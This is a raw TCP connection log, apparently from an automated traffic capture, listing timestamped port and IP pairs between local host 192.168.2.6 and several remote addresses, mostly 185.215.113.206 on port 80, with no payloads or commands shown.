Nov 24, 2024 04:20:24.054986000 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.055037022 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.055830002 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.055949926 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.055977106 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.056020021 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.056997061 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.057010889 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.057068110 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.057086945 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.075316906 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.075345993 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.075366974 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.075381994 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.075407028 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.075419903 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.075438976 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.075454950 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.084888935 CET	443	49743	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:24.085639000 CET	49743	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:24.085649967 CET	443	49743	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:24.086078882 CET	49743	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:24.086086988 CET	443	49743	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:24.117835999 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.117858887 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.117878914 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.117914915 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.117927074 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.117933989 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.117983103 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.118642092 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.118675947 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.118710041 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.118720055 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.118742943 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.118757963 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.118768930 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.118796110 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.119612932 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.119641066 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.119693995 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.119720936 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.120094061 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.120150089 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.120196104 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.120244980 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.121048927 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.121135950 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.121155024 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.121176004 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.121987104 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.122150898 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.122173071 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.122222900 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.122950077 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.123035908 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.123049974 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.123073101 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.123897076 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.123953104 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.123958111 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.124145985 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.124871969 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.124936104 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.124977112 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.125041962 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.125798941 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.125845909 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.125888109 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.126216888 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.126724005 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.126780987 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.126806974 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.126849890 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.127679110 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.127734900 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.127795935 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.127872944 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.137820005 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.137885094 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.137888908 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.137916088 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.137939930 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.137959957 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.137969971 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.137984991 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.138015985 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.138035059 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.180346012 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.180372953 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.180479050 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.180560112 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.180615902 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.180666924 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.210791111 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.210866928 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.210958958 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.211021900 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.211239100 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.211292028 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.211354971 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.211354971 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.212196112 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.212292910 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.212296963 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.212389946 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.213155031 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.213233948 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.213265896 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.213324070 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.214096069 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.214158058 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.214211941 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.214272022 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.215017080 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.215071917 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.215121031 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.215276003 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.215960979 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.216052055 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.216052055 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.216101885 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.216938972 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.216955900 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.217015982 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.217015982 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.217875004 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.217928886 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.217961073 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.218029022 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.218807936 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.218862057 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.218893051 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.218987942 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.219760895 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.219894886 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.219913960 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.219963074 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.220715046 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.220765114 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.220803022 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.220854044 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.221679926 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.221735001 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.221786976 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.221868038 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.222635984 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.222719908 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.222712994 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.222768068 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.223558903 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.223602057 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.223700047 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.223761082 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.224226952 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.224255085 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.224327087 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.224370956 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.224405050 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.224423885 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.224575996 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.224600077 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.224651098 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.224651098 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.225477934 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.225562096 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.225589037 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.225639105 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.226409912 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.226469994 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.226547003 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.226598978 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.227447033 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.227503061 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.227504015 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.227552891 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.228311062 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.228354931 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.228391886 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.228393078 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.229271889 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.229296923 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.229353905 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.230192900 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.230335951 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.230391979 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.231167078 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.231232882 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.231271029 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.231331110 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.232096910 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.232223034 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.232240915 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.232348919 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.233059883 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.233125925 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.233150959 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.233213902 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.234059095 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.234122992 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.234174013 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.234227896 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.234966040 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.235068083 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.235085964 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.235117912 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.235862017 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.235917091 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.235975981 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.236023903 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.236876965 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.236932039 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.237001896 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.237052917 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.237807989 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.237881899 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.237926006 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.237977982 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.238775015 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.238872051 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.238924026 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.239686012 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.239784002 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.239826918 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.239905119 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.240649939 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.240701914 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.240746975 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.240852118 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.241573095 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.241632938 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.258955956 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.258991957 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.259021044 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.259049892 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.259155989 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.259207010 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.259294987 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.259367943 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.260106087 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.260159016 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.260173082 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.260214090 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.261013985 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.261089087 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.261146069 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.261204958 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.261910915 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.261966944 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.262033939 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.262123108 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.262799025 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.262857914 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.262943983 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.262999058 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.263695002 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.263755083 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.263822079 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.263902903 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.264636993 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.264672041 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.264698982 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.264729977 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.265532017 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.265634060 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.265708923 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.265763998 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.266410112 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.266463995 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.266524076 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.266583920 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.267292976 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.267355919 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.268461943 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.268486023 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.268562078 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.268577099 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.268652916 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.322201967 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.322227001 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.322283983 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.322295904 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.322329044 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.322345018 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.324002981 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.324039936 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.324088097 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.324095011 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.324124098 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.324140072 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.324156046 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.324191093 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.325423002 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.325443029 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.325490952 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.325499058 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.325527906 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.325546980 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.327692986 CET	443	49741	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:24.327862024 CET	443	49741	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:24.327935934 CET	49741	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:24.328622103 CET	49741	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:24.328622103 CET	49741	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:24.328640938 CET	443	49741	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:24.328655005 CET	443	49741	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:24.329976082 CET	443	49740	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:24.330043077 CET	443	49740	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:24.330115080 CET	49740	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:24.330586910 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.330617905 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.330681086 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.331028938 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.331083059 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.331135035 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.331192017 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.331840992 CET	49748	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:24.331880093 CET	443	49748	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:24.331954002 CET	49748	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:24.331986904 CET	49740	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:24.331986904 CET	49740	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:24.332005978 CET	443	49740	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:24.332015991 CET	443	49740	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:24.332071066 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.332134962 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.332232952 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.332283020 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.332837105 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.332886934 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.332894087 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.332928896 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.333465099 CET	49748	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:24.333481073 CET	443	49748	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:24.333770990 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.333787918 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.333837032 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.333837032 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.334636927 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.334686041 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.334697008 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.334805012 CET	49749	443	192.168.2.6	13.107.246.63
